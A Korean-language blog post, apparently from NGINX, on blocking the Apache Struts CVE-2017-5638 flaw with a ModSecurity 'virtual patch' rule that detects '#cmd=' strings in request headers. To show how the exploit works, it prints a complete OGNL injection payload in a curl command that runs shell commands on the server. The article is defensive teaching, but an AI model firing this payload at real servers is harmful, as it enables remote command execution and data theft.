ModSecurity를 사용하여 Apache Struts CVE-2017-5638을 가상으로 패치

[ 편집자 - NGINX Plus용 NGINX ModSecurity WAF 모듈은 2022년 4월 1 일부로 공식적으로 판매 종료 되었으며 2024년 3월 31 일부로 수명 종료 로 전환됩니다. 자세한 내용은 블로그의 F5 NGINX ModSecurity WAF가 수명 종료로 전환 중입니다<.htmla>를 참조하세요.]

애플리케이션 코드에서 사용하는 라이브러리에서는 많은 보안 취약점이 발견됩니다. 라이브러리의 코드에 대한 수정 사항을 신속하게 배포하는 것이 비실용적인 경우 ModSecurity를 사용하여 익스플로잇을 가로채서 영향을 받는 라이브러리를 업그레이드할 때까지 영향을 받는 코드를 "가상 패치"할 수 있습니다.

Equifax에서 1억 4,300만 개의 계정이 유출되는 사고로 이어진 Apache Struts 애플리케이션 라이브러리 취약점( CVE-2017-5638 )은 사실상 패치가 가능한 악용 사례입니다. 이 취약점의 특징은 Content-Type , Content-Disposition 또는 Content-Length HTTP 헤더에 #cmd= 또는 #cmds= 문자열이 있다는 것입니다. (자세한 내용은 아래를 참조하세요.)

ModSecurity를 사용하면 영향을 받는 HTTP 헤더에서 악성 문자열을 검색하는 간단한 규칙으로 가상 패치를 만들 수 있습니다.

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

우리는 SecRule 로 규칙을 정의하고 세 개의 매개변수를 제공합니다.

1. 세 개의 REQUEST_HEADERS 변수를 OR로 연결하여 검색할 요청 헤더
2. @rx 에서 지정한 PERL 호환 정규 표현식(PCRE)은 #cmd= 또는 #cmds=를 포함하는 문자열에 대해 지정된 요청 헤더를 검색합니다.
3. 취해야 할 조치

ModSecurity가 활성 차단 모드 로 구성된 경우 PCRE와 일치하는 모든 트래픽을 삭제하고 규칙이 트리거됩니다.

eBook을 통해 NGINX와 ModSecurity를 함께 사용하는 방법을 알아보세요. ModSecurity 3.0 및 NGINX: 빠른 시작 가이드

가상 패치가 필요한 이유는?

많은 경우, 영향을 받은 코드에 패치를 적용하고 다시 테스트한 다음 프로덕션에 배포하는 것보다 ModSecurity에 규칙을 배포하는 것이 더 빠릅니다.

예를 들어 Apache Struts 취약점을 생각해 보겠습니다. Struts는 운영 체제 패키지가 아니라 애플리케이션 라이브러리이기 때문에 엔터프라이즈 프로덕션 환경에서 업데이트하는 데 시간이 걸릴 수 있습니다. 새로운 버전의 Struts로 업그레이드하는 과정의 일환으로, Struts에 종속된 각 애플리케이션을 최신 Struts 라이브러리로 다시 빌드하고 테스트해야 합니다. 대규모 조직에는 수백 개의 애플리케이션이 있을 수 있으며, 각 애플리케이션에는 자체 Struts 애플리케이션 라이브러리 버전이 있으므로 모든 애플리케이션이 업데이트될 때까지 취약할 수 있습니다.

ModSecurity 사용자 정의 규칙을 적용하면 취약성에 대한 압력 없이 적절한 일정에 따라 신중하게 프로덕션 소프트웨어에 패치를 적용할 수 있습니다. 영향을 받는 모든 소프트웨어가 업데이트되면 사용자 정의 규칙을 해제할 수 있습니다.

CVE-2017-5638 익스플로잇 작동 방식

Apache Struts CVE-2017-5638은 원격 명령 실행(RCE) 취약점입니다. 이러한 유형의 취약점을 통해 공격자는 대상 시스템에서 /bin/bash 또는 cmd.exe 와 같은 임의의 명령을 실행할 수 있습니다. 이러한 기능을 이용하면 공격자는 Java 애플리케이션 서버와 동일한 수준의 액세스 권한을 얻어 파일 시스템과 네트워크에서 중요한 데이터를 검색할 수 있습니다. 예를 들어, Java 애플리케이션 서버가 root 로 실행되는 경우 공격자는 대상 시스템에서 root 권한을 갖습니다.

공식 CVE 에 따르면, 이 취약점은 공격자가 잘못된 Content-Type , Content-Disposition 또는 Content-Length HTTP 헤더를 보낼 때 발생합니다. HTTP 헤더가 예상 값과 일치하지 않으면 Apache Struts에서 예외가 발생합니다. 이 문제는 예외 처리 코드가 이스케이프되지 않은 잘못된 헤더를 인쇄하려고 하기 때문에 발생합니다. (이 맥락에서 "이스케이프되지 않음"은 의심되는 명령 앞에 실행을 방해하는 문자( 이스케이프 문자 )가 추가되지 않는다는 것을 의미합니다. 이는 일반적으로 코드를 인쇄할 때 수행되는 방식입니다.)

공격자는 Content-Type 헤더에 OGNL( Object Graph Navigation Library ) 표현식을 넣을 수 있습니다. OGNL은 시스템 명령을 실행할 수 있습니다. 이스케이프되지 않은 잘못된 헤더가 인쇄되면 OGNL 표현식이 평가되고 OGNL 표현식 내의 모든 시스템 명령이 실행됩니다.

익스플로잇은 일반적으로 아래 curl 명령의 변형입니다.

curl -H "콘텐츠 유형: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

핵심 구문은 명령의 후반부에 있습니다. #cmd= 와 #cmds= 문자열이 각각 한 번씩 나타납니다(위에 강조 표시됨). 각 문자열 뒤에는 실행할 시스템 명령이 따라옵니다.

요약

가장 바람직한 해결책은 취약한 소프트웨어에 즉시 패치를 적용하는 것입니다. 하지만 프로덕션 소프트웨어에 패치를 적용하는 데는 시간이 많이 걸릴 수 있으며, 서둘러 업데이트를 적용하는 것은 위험할 수 있습니다. ModSecurity를 사용하여 취약한 소프트웨어에 대한 가상 패치를 만들면 시간을 벌 수 있습니다.

가상 패치를 사용하면 CVE-2017-5638 과 같은 보안 취약점을 악용할 수 있는 트래픽을 차단하는 사용자 지정 ModSecurity 규칙을 만들 수 있습니다. 이렇게 하면 사이트를 공격으로부터 보호할 수 있습니다. 그러면 피해를 입을까봐 걱정하지 않고도 적절한 일정에 맞춰 조심스럽게 프로덕션 서버에 패치를 적용할 수 있습니다.

ModSecurity와 NGINX ModSecurity WAF에 대해 자세히 알아보려면 전자책 ModSecurity 3.0 및 NGINX를 다운로드하세요. 빠른 시작 가이드 .

리소스

• CVE-2017-5638 – 공식 CVE 공지
• CVE-2017-5638: Apache Struts 취약점의 해부학 – 취약점에 대한 귀중한 개요
• Apache Struts 보안 게시판 S2‑045 – 해결 방법이 포함된 보안 취약성에 대한 Apache Struts 페이지
• ArsTechnica 포럼 사용자 의견에 대한 사용자 의견 – Apache Struts 패치가 쉽지 않은 이유에 대한 설명

[NGINX Plus용 NGINX ModSecurity WAF 모듈은 2022년 4월 1 일부로 공식적으로 판매 종료 되었으며, 2024년 3월 31일 부터 지원 종료 로 전환됩니다. 자세한 내용은 블로그의 F5 NGINX ModSecurity WAF가 수명 종료로 전환 중입니다<.htmla>를 참조하세요.]